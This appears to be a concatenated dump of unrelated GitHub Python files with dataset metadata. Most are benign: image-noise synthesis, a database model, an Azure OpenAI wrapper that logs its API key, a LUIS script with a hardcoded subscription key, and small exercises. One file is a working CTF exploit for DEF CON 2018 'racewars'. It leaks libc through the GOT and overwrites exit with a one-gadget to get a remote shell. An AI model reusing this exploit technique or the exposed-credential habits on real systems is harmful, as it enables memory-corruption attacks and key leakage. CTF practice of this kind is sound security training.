normalizer = Normalizer(input_noise, mask=mask)\n normalized_input_noise = normalizer.normalize(input_noise, mask)\n\n if method == 'patchmatch':\n recon_noise = patchmatch_inpainting(normalized_input_noise, mask, erode_ratio=args['patchmatch_erode_ratio'],\n searchvoteiters=100, patchmatchiters=100, extrapass3x3=1)\n elif method == 'opencv':\n recon_noise = opencv_inpainting(normalized_input_noise, mask, inpaint_radius=args['opencv_inpaint_radius'],\n method=cv2.INPAINT_TELEA)\n elif method == 'mean':\n recon_noise = mean_inpainting(normalized_input_noise, mask)\n else:\n raise NotImplementedError\n\n if gabor:\n psd = gabor_approximation(recon_noise)\n else:\n step = 7 # 64 samples\n placeholder = np.ones((width, height), dtype=np.bool)\n psd = estimate_local_psd(recon_noise, placeholder, T=T-step, threshold=1, step=1)\n\n alpha = 0.05 if not gabor else 0.25\n op = np.real if gabor else np.abs\n noise = random_phase_noise_mosaic(psd, (width, height), alpha=alpha, op=op)\n\n noise = normalizer.denormalize(noise)\n\n return noise, Noise(psd, normalizer, alpha=alpha, op=op), normalizer.denormalize(recon_noise)\n\n\ndef noise_synthesis_pca_with_hole_filling(input_noise, mask, method, gabor, args=None):\n assert(input_noise.ndim == 3 and mask.dtype == np.bool)\n assert method in ['patchmatch', 'opencv', 'mean']\n\n width, height, nc = input_noise.shape\n T = min(width, height)\n\n prenormalizer = Normalizer(input_noise)\n normalized_input_noise = prenormalizer.normalize(input_noise)\n\n if method == 'patchmatch':\n recon_noise = patchmatch_inpainting(normalized_input_noise, mask, erode_ratio=args['patchmatch_erode_ratio'],\n searchvoteiters=100, patchmatchiters=100, extrapass3x3=1)\n elif method == 'opencv':\n recon_noise = opencv_inpainting(normalized_input_noise, mask, inpaint_radius=args['opencv_inpaint_radius'],\n method=cv2.INPAINT_TELEA)\n elif method == 'mean':\n recon_noise = mean_inpainting(normalized_input_noise, mask)\n else:\n raise NotImplementedError\n\n model = PCA(n_components=nc)\n input_image = model.fit_transform(recon_noise.reshape((-1, nc))).reshape((width, height, nc))\n\n normalizer = Normalizer(input_image)\n input_image = normalizer.normalize(input_image)\n\n step = 7 # 64 samples\n alpha = 0.05 if not gabor else 0.25\n op = np.real if gabor else np.abs\n\n noise_pca = []\n psds = []\n\n for c in range(nc):\n if gabor:\n psd = gabor_approximation(input_image[:, :, c])\n else:\n placeholder = np.ones((width, height), dtype=np.bool)\n psd = estimate_local_psd(input_image[:, :, c], placeholder, T=T-step, threshold=1, step=1)\n\n noise_pca_per_chan = random_phase_noise_mosaic(psd, (width, height), alpha=alpha, op=op)\n noise_pca.append(noise_pca_per_chan)\n psds.append(psd)\n\n noise_pca = np.stack(noise_pca, axis=2)\n noise_pca = normalizer.denormalize(noise_pca)\n noise = model.inverse_transform(noise_pca.reshape((-1, nc))).reshape((width, height, nc))\n\n noise = prenormalizer.denormalize(noise)\n\n return noise, NoiseColored(psds, model, normalizer, prenormalizer, alpha=alpha, op=op), prenormalizer.denormalize(recon_noise)\n\n\ndef opencv_inpainting(image, mask, inpaint_radius=0.1, method=cv2.INPAINT_TELEA):\n width, height = image.shape[:2]\n image_uint8 = (image * 255.0).astype(np.uint8)\n inv_mask = np.logical_not(mask).astype(np.uint8)\n\n inpaint_radius = int(inpaint_radius * max(width, height))\n print(f'OpenCV Inpaint: inpaintRadius = {inpaint_radius}')\n recon = cv2.inpaint(image_uint8, inv_mask, inpaint_radius, method)\n\n return recon / 255.0\n\n\ndef mean_inpainting(image, mask):\n recon = image.copy()\n recon[1 - mask] = recon[mask].mean()\n return recon\n\n\n# enumerating\ndef find_T_step(mask, max_T, threshold, max_step, dT, dstep, min_num_samples):\n T, step = max_T, max_step\n while T >= dT:\n step = max_step\n while step >= 1:\n n_valid_samples = compute_valid_samples(mask, T, threshold, step)\n if n_valid_samples >= min_num_samples:\n return T, step\n step -= dstep\n\n # if still failed to find a proper T, consider T in (1, dT)\n if T == dT:\n dT = 1\n\n T -= dT\n\n # cannot reach here\n raise RuntimeError(\"Cannot find feasible T and step to estimate PSD, try to relax threshold\")\n\n\n# fine-grained enumerating\ndef find_T_step_v1(mask, max_T, threshold, max_step, dT, dstep, min_num_samples):\n optimal_T, optimal_step = find_T_step(mask, max_T, threshold, max_step, dT, dstep, min_num_samples)\n\n # fine-grained search for maximum valid T in (T, T + dT)\n T = optimal_T + 1\n while T < T + dT:\n step = max_step\n while step >= 1:\n n_valid_samples = compute_valid_samples(mask, T, threshold, step)\n if n_valid_samples > min_num_samples:\n break\n step -= dstep\n if step > 0:\n optimal_T = T\n optimal_step = step\n else:\n return optimal_T, optimal_step\n T += 1\n\n # cannot reach here\n raise RuntimeError(\"Cannot find feasible T and step to estimate PSD, try to relax threshold\")\n\n\n# decompose an image with binary mask into a list of procedural noise maps\ndef decompose(image, binary_mask, cfg, is_mask_refined, output_path):\n assert binary_mask.dtype == np.bool\n print(\"Now executing decompose_image func...\")\n img_width, img_height = image.shape[:2]\n\n mask = binary_mask if is_mask_refined else erode_mask(binary_mask, kernel_size=int(cfg.erode_ratio*max(img_height, img_width)))\n\n multilevel_noises, base_color, remained_noise = progressive_filtering(image, mask, cfg)\n\n methods = cfg.noise_estimators[:len(multilevel_noises)]\n if not cfg.ignore_last:\n multilevel_noises.append(remained_noise)\n methods.append(cfg.last_noise_estimator)\n\n timer = Timer()\n\n n_levels = len(multilevel_noises)\n multilevel_syn_noises = []\n noise_models = []\n\n local_psd_method = noise_synthesis if image.ndim == 2 else noise_synthesis_pca\n full_psd_method = noise_synthesis_with_hole_filling if image.ndim == 2 else noise_synthesis_pca_with_hole_filling\n\n for i in range(n_levels):\n timer.begin(f'Synthesizing level {i}')\n methods[i].print()\n\n # synthesize by local PSD\n if methods[i].type == 'local':\n res = local_psd_method(multilevel_noises[i], mask, methods[i].T, methods[i].percentage,\n methods[i].step, methods[i].min_num_samples)\n\n syn_noise, noise_model = res\n multilevel_syn_noises.append(syn_noise)\n noise_models.append(noise_model)\n\n # synthesize using full PSD on inpainted image\n else:\n res = full_psd_method(multilevel_noises[i], mask, methods[i].method, methods[i].gabor, methods[i].params)\n\n syn_noise, noise_model, recon_noise = res\n multilevel_syn_noises.append(syn_noise)\n noise_models.append(noise_model)\n\n save_image(shift_image(recon_noise), pth.join(output_path, f'recon{i}.png'))\n\n timer.end(f'Noise synthesis for level {i} finished in ')\n\n # histogram matching for non-Gaussian noises\n multichannel = True if image.ndim == 3 else False\n placeholder = np.ones((img_width, img_height), dtype=np.bool)\n for i in range(n_levels):\n multilevel_syn_noises[i] = match_histograms(multilevel_syn_noises[i], multilevel_noises[i], placeholder, mask, multichannel)\n noise_models[i] = HistogramMatching(noise_models[i], multilevel_noises[i], mask, multichannel)\n\n visualize_noises(image, mask, base_color, multilevel_noises, multilevel_syn_noises, output_path)\n\n return multilevel_syn_noises, base_color, ProceduralMaps(noise_models, base_color)\n\n\ndef erode_mask(mask, kernel_size):\n kernel = np.ones((kernel_size, kernel_size), dtype=np.uint8)\n eroded = cv2.erode(mask.astype(np.uint8), kernel, iterations=1).astype(np.bool)\n num_valid_pixels = np.sum(eroded)\n if num_valid_pixels <= 0:\n raise RuntimeError('No pixel left after erosion.')\n return eroded\n\n\ndef progressive_filtering(image, mask, cfg):\n multilevel_noises = []\n\n cur_image = image*mask if image.ndim == 2 else image*mask[..., np.newaxis]\n cur_iter = 0\n\n while cur_iter < min(cfg.n_iters, len(cfg.pre_ksize)):\n img_var = masked_variance(cur_image, mask)\n if img_var < cfg.var_threshold:\n break\n\n print(f'At iter {cur_iter}, var = {img_var}; filtering with kernal size = {cfg.pre_ksize[cur_iter]}')\n\n filtered = gaussian_filter_with_mask(cur_image, mask, ksize=cfg.pre_ksize[cur_iter], sigma=0)\n noise = cur_image - filtered\n cur_image = filtered\n\n multilevel_noises.append(noise)\n cur_iter += 1\n\n img_var = masked_variance(cur_image, mask)\n print(f'On the final image: var = {img_var}')\n\n base_color = np.average(cur_image[mask], axis=0)\n if image.ndim == 3:\n remained_noise = cur_image - mask[..., np.newaxis] * base_color\n else:\n remained_noise = cur_image - mask * base_color\n\n return multilevel_noises, base_color, remained_noise\n\n\ndef visualize_noises(image, mask, base_color, multilevel_noises, multilevel_syn_noises, output_path):\n def dummy(x):\n return x\n\n n_levels = len(multilevel_noises)\n if image.ndim == 3:\n mask = np.expand_dims(mask, axis=2)\n process = shift_image\n else:\n process = dummy\n\n masked_image = image * mask\n\n tmp = masked_image.copy()\n save_image(tmp, pth.join(output_path, 'masked_img.png'))\n for i in range(n_levels):\n save_image(shift_image(multilevel_noises[i]), pth.join(output_path, \"noise\" + str(i) + \".png\"))\n save_image(shift_image(multilevel_syn_noises[i]), pth.join(output_path, \"syn_noise\" + str(i) + \".png\"))\n save_image(shift_image(multilevel_syn_noises[i]*mask), pth.join(output_path, \"masked_syn_noise\" + str(i) + \".png\"))\n tmp -= multilevel_noises[i]\n save_image(np.clip(tmp, 0, 1), pth.join(output_path, \"struct\" + str(i) + \".png\"))\n\n if n_levels == 0:\n pass\n elif n_levels == 1:\n fig, ax = plt.subplots(3)\n tmp = masked_image.copy()\n ax[0].imshow(tmp, cmap='gray')\n ax[1].imshow(process(multilevel_noises[0]), cmap='gray')\n tmp -= multilevel_noises[0]\n ax[2].imshow(tmp, cmap='gray')\n ax[0].set_title('masked_image')\n ax[1].set_title('filtered_noise')\n ax[2].set_title('remain_structure')\n for a in ax.ravel():\n a.set_axis_off()\n plt.tight_layout()\n plt.savefig(pth.join(output_path, 'multilevel_noises.png'), dpi=400)\n plt.close()\n\n else:\n fig, ax = plt.subplots(3, n_levels)\n tmp = masked_image.copy()\n for i in range(n_levels):\n ax[0, i].imshow(tmp, cmap='gray')\n ax[1, i].imshow(process(multilevel_noises[i]), cmap='gray')\n tmp -= multilevel_noises[i]\n ax[2, i].imshow(tmp, cmap='gray')\n ax[0, i].set_title(f'masked_image{i}')\n ax[1, i].set_title(f'filtered_noise{i}')\n ax[2, i].set_title(f'remain_structure{i}')\n for a in ax.ravel():\n a.set_axis_off()\n plt.tight_layout()\n plt.savefig(pth.join(output_path, 'multilevel_noises.png'), dpi=400)\n plt.close()\n\n # visualize\n if n_levels > 0:\n noise_image = masked_image - base_color * mask\n fig, ax = plt.subplots(3, n_levels + 1)\n ax[0, 0].imshow(masked_image, cmap='gray')\n ax[1, 0].imshow(mask * base_color, cmap='gray')\n ax[2, 0].imshow(process(noise_image), cmap='gray')\n ax[0, 0].set_title('masked_image')\n ax[1, 0].set_title('basecolor')\n ax[2, 0].set_title('noise_image')\n for i in range(n_levels):\n if masked_image.ndim == 3:\n ax[0, i + 1].imshow(shift_image(multilevel_noises[i]))\n ax[1, i + 1].imshow(shift_image(multilevel_syn_noises[i]))\n ax[2, i + 1].imshow(shift_image(multilevel_syn_noises[i]*mask))\n else:\n masked_syn_noise = multilevel_syn_noises[i]*mask\n min_ = min(np.min(multilevel_noises[i]), np.min(multilevel_syn_noises[i]), np.min(masked_syn_noise))\n max_ = max(np.max(multilevel_noises[i]), np.max(multilevel_syn_noises[i]), np.max(masked_syn_noise))\n ax[0, i + 1].imshow(multilevel_noises[i], cmap='gray', vmin=min_, vmax=max_)\n ax[1, i + 1].imshow(multilevel_syn_noises[i], cmap='gray', vmin=min_, vmax=max_)\n ax[2, i + 1].imshow(masked_syn_noise, cmap='gray', vmin=min_, vmax=max_)\n ax[0, i + 1].set_title(f'noise{i}')\n ax[1, i + 1].set_title(f'syn_noise{i}')\n ax[2, i + 1].set_title(f'masked_syn_noise{i}')\n for a in ax.ravel():\n a.set_axis_off()\n plt.tight_layout()\n plt.savefig(pth.join(output_path, 'noises_cmp.png'), dpi=400)\n plt.close()\n","repo_name":"yiwei-hu/SVBRDF-Proceduralization","sub_path":"noise/noise.py","file_name":"noise.py","file_ext":"py","file_size_in_byte":20939,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"0"}
+{"seq_id":"27953363834","text":"import datetime\nfrom mgn import db\nfrom mgn.models.master_user_model import MasterUserModel\nfrom sqlalchemy.dialects.postgresql import JSONB\n\n\nclass UserAccessDetailsModel(db.Model):\n __tablename__ = 'user_access_details'\n __table_args__ = {\"schema\": \"mgn\"}\n user_access_details_id = db.Column(db.Integer, primary_key=True)\n master_user_id = db.Column(db.Integer, db.ForeignKey(MasterUserModel.master_user_id), nullable=False)\n access_history = db.Column(JSONB, nullable=True)\n latitude = db.Column(db.Float, nullable=True)\n longitude = db.Column(db.Float, nullable=True)\n city = db.Column(db.String(50), nullable=True)\n state = db.Column(db.String(50), nullable=True)\n zipcode = db.Column(db.String(15), nullable=True)\n country_code = db.Column(db.String(5), nullable=True)\n browser = db.Column(db.String(100), nullable=True)\n device = db.Column(db.String(100), nullable=True)\n request_string = db.Column(db.String(150), nullable=True)\n platform = db.Column(db.String(50), nullable=True)\n updated = db.Column(db.DateTime, nullable=False)\n\n master_user = db.relationship('MasterUserModel', backref=db.backref('access_user', lazy='dynamic'))\n\n @property\n def id(self):\n return self.user_profile_id\n\n def __init__(self, master_user_id=None, access_history=None, latitude=None, longitude=None,\n city=None, state=None, zipcode=None, country_code=None, browser=None, device=None,request_string=None,\n platform=None):\n self.master_user_id = master_user_id\n self.access_history = access_history\n self.latitude = latitude\n self.longitude = longitude\n self.city = city\n self.state = state\n self.zipcode = zipcode\n self.country_code = country_code\n self.browser = browser\n self.device = device\n self.request_string = request_string\n self.platform = platform\n self.updated = datetime.datetime.now()\n\n @property\n def serialize(self):\n return {\n 'user': self.master_user.serialize,\n 'access_history': self.access_history,\n 'latitude': self.latitude,\n 'longitude': self.longitude,\n 'city': self.city,\n 'state': self.state,\n 'zipcode': self.zipcode,\n 'country_code': self.country_code,\n 'browser': self.browser,\n 'device': self.device,\n 'request_string': self.request_string,\n 'platform': self.platform,\n 'updated': str(self.updated)\n }\n","repo_name":"pradeep-bhadauria/mgn-services","sub_path":"mgn/models/user_access_details_model.py","file_name":"user_access_details_model.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"7876903912","text":"import openai\r\nfrom memory import MessageHistory\r\nfrom colorama import Fore, Back, Style\r\nimport ast\r\nfrom functools import partial\r\nimport os\r\nfrom config import openai_conf,proxy\r\nimport tiktoken\r\nimport json\r\n\r\n# proxy = 'http://127.0.0.1:2001'#local\r\n\r\nos.environ['http_proxy'] = proxy['proxy'] \r\nos.environ['HTTP_PROXY'] = proxy['proxy'] \r\nos.environ['https_proxy'] = proxy['proxy'] \r\nos.environ['HTTPS_PROXY'] = proxy['proxy'] \r\nos.environ[\"OPENAI_API_KEY\"]=openai_conf['azure']['api_key'] #azure\r\n\r\n\r\n\r\n#Azure account\r\ntemperature = openai_conf['temperature']\r\nopenai.api_key = openai_conf['azure']['api_key']\r\nopenai.api_base = openai_conf['azure']['api_base']\r\nopenai.api_type = 'azure'\r\nopenai.api_version = openai_conf['azure']['api_version']\r\napi_engine: str = openai_conf['azure']['api_engine']\r\n\r\ndef num_tokens_from_string(string: str, encoding_name=\"cl100k_base\") -> int:\r\n \"\"\"Returns the number of tokens in a text string.\"\"\"\r\n encoding = tiktoken.get_encoding(encoding_name)\r\n num_tokens = len(encoding.encode(string))\r\n return num_tokens\r\n\r\n\r\nclass GuidanceModel:\r\n\r\n def __init__(self,api_engine,temperature=0.3):\r\n openai.api_key = openai_conf['azure']['api_key']\r\n openai.api_base = openai_conf['azure']['api_base']\r\n openai.api_type = 'azure'\r\n openai.api_version = openai_conf['azure']['api_version']\r\n os.environ[\"OPENAI_API_KEY\"]=openai_conf['azure']['api_key'] #azure\r\n self.model = partial(openai.ChatCompletion.create,\r\n model=api_engine,\r\n engine=api_engine, \r\n # stream=False,\r\n temperature=temperature)\r\n\r\n def get_response(self, interview_history: MessageHistory,logger,stream=False):\r\n message = interview_history.get_dialogue(length=5)\r\n openai.api_key = openai_conf['azure']['api_key']\r\n openai.api_base = openai_conf['azure']['api_base']\r\n openai.api_version = openai_conf['azure']['api_version']\r\n os.environ[\"OPENAI_API_KEY\"]=openai_conf['azure']['api_key'] #azure\r\n api_engine: str = openai_conf['azure']['api_engine']\r\n logger.info(\"The final message:\")\r\n logger.info(f\"Model:{api_engine}\")\r\n logger.info(f\"Key:{openai.api_key}\")\r\n logger.info(\"--------------------------------------------------------------\")\r\n for i in message:\r\n logger.info(i['role'])\r\n logger.info(i['content'])\r\n\r\n response = self.model(\r\n messages=message,#返回最后4个消息\r\n stream=stream\r\n )\r\n return response\r\n\r\n\r\n \r\n def run(self, history: MessageHistory,stream,logger,max_retry=6):\r\n\r\n num_retry = 0\r\n\r\n while num_retry < max_retry:\r\n try:\r\n response = self.get_response(history,logger,stream)\r\n logger.info(f\"Retry -{num_retry}\")\r\n if stream:\r\n logger.info(\"Streaming start.....\")\r\n \r\n return response,\"Null\"\r\n \r\n response,usage=GuidanceModel.parse_response(response)\r\n return response,usage\r\n \r\n except Exception as e:\r\n num_retry += 1\r\n print(Fore.RED + f\"Error: {e}\")\r\n\r\n return None\r\n\r\n \r\n @staticmethod\r\n def fix_model_response(response):\r\n if isinstance(response, str):\r\n\r\n response = ast.literal_eval(response)\r\n if \"your answer\" in response:\r\n response.pop(\"your answer\")\r\n\r\n return response\r\n\r\n \r\n @staticmethod\r\n def parse_response(response):\r\n # response = fix_model_response(response)\r\n\r\n message = response['choices'][0]['message']['content']\r\n # print(response)\r\n # print(\"=\" *200)\r\n # message = GuidanceModel.fix_model_response(message)\r\n\r\n return message,response['usage']\r\n\r\n \r\nif __name__ == \"__main__\":\r\n m = GuidanceModel()\r\n print(\"hello\")\r\n\r\n","repo_name":"HiveWang/LLM.bot","sub_path":"guidance_model_v15.py","file_name":"guidance_model_v15.py","file_ext":"py","file_size_in_byte":4069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"4627090787","text":"import os\nimport httplib2\nimport json\nresult = True\nheaders = {\"Ocp-Apim-Subscription-Key\": \"3f88533f3ac04af787adaeb946f26956\", \"Content-Type\": \"application/json\"}\nappid='573a1ae6-4fbb-40ad-b353-6a085112755c'\ndir=os.getcwd()\ndef addUtterances():\n configEntites = []\n result = True\n for file in os.listdir(dir):\n if result and file.endswith(\".txt\"):\n utterances = []\n intent = os.path.splitext(file)[0]\n print(\"Adding utterances for \" + intent)\n with open(file, \"r\") as intentFile:\n for example in intentFile:\n entityLabels = []\n\n # Check if example has entities\n exampleSplit = example.strip().split(\"<=>\")\n exampleText = exampleSplit[0].strip()\n #print(exampleSplit)\n if len(exampleSplit)==1:\n exampleEntities = exampleSplit[0:]\n #print(exampleEntities)\n # check if entities mentioned in text exist in config\n \"\"\"for exampleEntity in exampleEntities:\n if not exampleEntity.strip() in configEntites:\n print(\"The entity \" + exampleEntity + \" used in \" + exampleText + \" is not present in config\")\n return None\"\"\"\n\n # Check if parantheses match\n openParanCount = exampleText.count(\"(\")\n closeParanCount = exampleText.count(\")\")\n\n \"\"\"if openParanCount != closeParanCount:\n print(\"Paranthesis don't match for \" + exampleText)\n return None\"\"\"\n\n # Check if paranthesis and provide entities match\n \"\"\"if openParanCount != len(exampleEntities):\n print(\"The entities provided and the words marked in paranthesis don't match for \" + exampleText)\n return None\n\n startPos = 0\n entitiesCount = 0\n noOfEntities = len(exampleEntities)\"\"\"\n\n \"\"\"while entitiesCount < noOfEntities:\n startPos = exampleText.find(\"(\", startPos, len(exampleText)) + 1\n endPos = exampleText.find(\")\", startPos, len(exampleText)) - 1\n entityLabel = {\"EntityType\": exampleEntities[entitiesCount].strip(),\n \"StartToken\": startPos - ((entitiesCount * 2) + 1),\n \"EndToken\": endPos - ((entitiesCount * 2) + 1)}\n entitiesCount += 1\n entityLabels.append(entityLabel)\"\"\"\n\n utterances.append({\"text\": exampleText.replace(\"(\", \"\").replace(\")\", \"\"),\n \"intentName\": intent, \"entityLabels\": entityLabels})\n\n if len(utterances) > 0:\n try:\n print(utterances)\n conn = httplib2.HTTPSConnectionWithTimeout(\"westus.api.cognitive.microsoft.com\")\n conn.request(\"POST\", \"/luis/api/v2.0/apps/{0}/versions/0.1/examples\".format(appid), json.dumps(utterances),headers)\n response = conn.getresponse()\n conn.close()\n print(response.status)\n result = response.status == 201\n except Exception as e:\n print(e)\n result = False\n return result\n\naddUtterances()","repo_name":"chatbotz3/Data-Extraction","sub_path":"addutterance.py","file_name":"addutterance.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"36902953565","text":"from typing import List\nclass Solution:\n def simplifyPath(self, path: str) -> str:\n res = []\n for it in path.rstrip('/').split('/'):\n if it=='.' or it ==\"\":\n continue\n elif it == \"..\":\n if len(res)>0:\n res.pop()\n else:\n res.append(it)\n return '/' + '/'.join(res)\n\ninputs = \"/home//foo/\"\nres = Solution().simplifyPath(inputs)\nprint(res)\n","repo_name":"liujun5885/leetcode","sub_path":"leetcode-all/nana/0205Simplify Path/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70919575717","text":"\"\"\"\"\n file:misvariables.py\n autor:@reroes\n\n nota mayor o igujal a 18: sobresaliente\n nota mayor o igual a 16 y menor a 18: muy buena\n nota mayor o igual a 13 y menor a 16: buena\n nota menor a 13: insuficiente \n\"\"\"\nfrom misvariables import *\n#uso de condicionales simple\nnota = int(input(\"ingrese la nota 1: \"))\n\n\nif nota >= 18:\n print(\"%s - nota %d\" % (\"sobresaliente\", nota))\nelse :\n if nota >= 16 and nota < 18 :\n print(\"%s - nota %d\" % (\"muy buena\",nota))\n else :\n if nota >= 13 and nota < 16:\n print(\"%s - nota %d\" % (\"buena\", nota))\n else:\n if nota < 13:\n print(\"%s - nota %d\" % (\"insuficiente\", nota))\n\n","repo_name":"concpetosfundamentalesprogramacionaa19/ejercicios-clases5-020519-ispa16","sub_path":"MiProyecto/run3.py","file_name":"run3.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"33906737412","text":"#!/usr/bin/env python2\n\nfrom pwn import *\nfrom conn_bby import solve_chal\n#libc = ELF(\"/lib/x86_64-linux-gnu/libc.so.6\")\nlibc = ELF(\"libc-2.23.so\")\ne = ELF(\"./racewars\")\n#r = process(\"./racewars\")\n#r = process(\"LD_PRELOAD=./libc-2.23.so ./racewars\", shell=True)\nr = remote(\"2f76febe.quals2018.oooverflow.io\", 31337)\n\n#r = process(\"./linux_serverx64\")\ncontext.log_level = 'DEBUG'\nsolve_chal(r)\n# first setup our double allocation\ndef menu():\n r.recvuntil(\"CHOICE: \")\n\nmenu()\nr.sendline(\"1\")\nr.recvuntil(\"need?\\n\")\nr.sendline(\"536870912\")\n\n# alloc transmission so it gets allocated on top of our tires\nmenu()\nr.sendline(\"4\")\nr.recvuntil(\"ion? \")\nr.sendline(\"5\")\n\n# fill out the rest of the car\nmenu()\nr.sendline(\"2\")\nr.sendline(\"1\")\nmenu()\nr.sendline(\"3\")\n\n# set gears of transmission to a high number\nfor i in xrange(1, 5):\n menu()\n r.sendline(\"1\")\n menu()\n r.sendline(str(i))\n r.recvuntil(\": \")\n r.sendline(\"65535\")\n\n#r.interactive()\n# now leak mem\ndef leakb_rel(rel):\n menu()\n r.sendline(\"4\")\n r.recvuntil(\"modify? \")\n r.sendline(str(rel+1))\n r.recvuntil(\"is \")\n n = int(r.recvuntil(\",\")[:-1])\n r.recvuntil(\"what?: \")\n r.sendline(\"0\")\n r.recvuntil(\"no)\")\n r.sendline(\"0\")\n return chr(n)\n\ndef leakq_rel(rel):\n res = ''\n for i in range(0, 8):\n res += leakb_rel(rel+i)\n return u64(res)\n\n#k = leakb_rel(-17)\n#print(hex(k))\ngears_addr = leakq_rel(-17) - 39\nlog.info(\"Gears address: \" + hex(gears_addr))\n#r.interactive()\n\ndef leakq_abs(addr, base):\n return leakq_rel(addr-base)\n\nprintf_addr = leakq_abs(e.got[\"printf\"], gears_addr)\nlibc_base = printf_addr - libc.symbols[\"printf\"]\nlog.info(\"Printf @ plt: \" + hex(printf_addr))\nlog.info(\"Libc base: \" + hex(libc_base))\n#r.interactive()\ndef writeb_rel(rel, v):\n menu()\n r.sendline(\"4\")\n r.recvuntil(\"modify? \")\n r.sendline(str(rel+1))\n r.recvuntil(\"what?: \")\n r.sendline(str(ord(v)))\n r.recvuntil(\"no)\")\n r.sendline(\"1\")\n\ndef writeq_abs(addr, v, base):\n v = p64(v)\n for i in xrange(0, len(v)):\n writeb_rel((addr-base)+i, v[i])\n\nmagic = 0xf1147\n#magic = 0xb8bcf\nlog.info(\"magic address: \" + hex(magic + libc_base))\nwriteq_abs(e.got[\"exit\"], magic+libc_base, gears_addr)\nr.interactive()\n","repo_name":"toomanybananas/ctf_solutions","sub_path":"defcon/2018/racewars/solve.py","file_name":"solve.py","file_ext":"py","file_size_in_byte":2238,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"18955381081","text":"from vpython import *\n#GlowScript 2.7 VPython\n#Vpython 에서 실행해 주세요.\n\nprint('슬릿사이 간격 n배 설정.')\nslitdistance = 1\nscdistance = 1\nwavelength = 0.5\nl = 5\nfloor = box(pos = vec(-l/2, 0, 0), length = l, height = 0.5, width = 0.4, color = color.yellow)\n#슬릿사이 간격설정\nwhile(True):\n ev = scene.waitfor('click keydown') \n if ev.event == 'click':\n print('설정 완료. 클릭해 주세요.')\n break\n if ev.event == 'keydown':\n if ev.keyCode == 38:\n slitdistance += 0.25\n print_options(clear=True)\n print('슬릿 사이 간격 : 기본값 *' + slitdistance + '배')\n if ev.keyCode == 40:\n slitdistance -= 0.25\n print_options(clear=True)\n print('슬릿 사이 간격 : 기본값 *' + slitdistance + '배')\nscene.waitfor('click')\n\n#스크린과의 간격설정\nprint('스크린과의 간격 n배 설정.')\nwhile(True):\n ev = scene.waitfor('click keydown') \n if ev.event == 'click':\n print('설정 완료. 클릭해 주세요.')\n break\n if ev.event == 'keydown':\n if ev.keyCode == 38:\n scdistance += 0.25\n print_options(clear=True)\n print('스크린 사이 간격 : ��본값 *' + scdistance + '배')\n if ev.keyCode == 40:\n scdistance -= 0.25\n print_options(clear=True)\n print('스크린 사이 간격 : 기본값 *' + scdistance + '배')\nscene.waitfor('click')\n\n#floor.visible = False\nballorigin = sphere(pos = vector(0, 0, 0), radius = 1, color = color.yellow)\nballstart = sphere(pos = vector(-l, 0, 0), radius = 1)\nfloor1 = box(pos = vector(0, 0, -(slitdistance * 2.5 + 7.5) - 2), length = 1, height = 2, width = 15, color = color.white)\nfloor2 = box(pos = vector(0, 0, 0), length = 1, height = 2, width = slitdistance * 5, color = color.white)\nfloor3 = box(pos = vector(0, 0, slitdistance * 2.5 + 7.5 + 2), length = 1, height = 2, width = 15, color = color.white)\nscreen = box(pos = vector(10 * scdistance, 0, 0), length = 1, height = 0.5, width = 30 + slitdistance * 5 + 4)\nprint_options(clear=True)\nscene.waitfor('click')\n##물결모양으로 파형 그리는 과정\ni = -1\ncnt = -1\nj = -1\ncnt2 = -1\ndi = 0.05\ndj = 0.15\nflag = True\nwhile(True):\n print_options(clear=True)\n rate(20)\n cnt = cnt - 1\n i = cnt\n if not flag :\n cnt2 = cnt2 - 0.8\n j = cnt2\n place1 = {}\n place2 = {}\n while(i <= cnt * (-1)):\n #바깥쪽 간섭하는 파형 그리기\n if flag and sqrt(cnt*cnt - i*i) - l < 0 and abs(i) < slitdistance * 2.5 + 10 :\n p = sphere(pos = vector(sqrt(cnt*cnt-i*i) - l, 0, i), radius = 0.1, color = color.blue) \n if i > 2.5 * scdistance and abs(cnt) > l: flag = False\n if flag == False :\n #안쪽에서 간섭하는 파형이 시작된다\n if sqrt(cnt2*cnt2-j*j) < scdistance * 10:\n if -15 < j - slitdistance * 2.5 - 1 < 15: \n p1 = sphere(pos = vector(sqrt(cnt2*cnt2-j*j), 0, j - slitdistance * 2.5 - 1), radius = 0.18, color = color.blue, opacity = 0.3)\n if cnt % 2 != 0: p1.color = color.red\n place1[p1.pos.x] = p1.pos.z\n if -15 < slitdistance * 2.5 + 1 - j < 15: \n p2 = sphere(pos = vector(sqrt(cnt2*cnt2-j*j), 0, slitdistance * 2.5 + 1 - j), radius = 0.18, color = color.blue, opacity = 0.3)\n if cnt % 2 != 0 : p2.color = color.red\n place2[p2.pos.x] = p2.pos.z\n j += dj\n i += di\n indexcnt = 0\n #scene.waitfor('click')\n","repo_name":"stanlypark/hssh-2-1-imformatics-task","sub_path":"slit_ball.py","file_name":"slit_ball.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"0"}
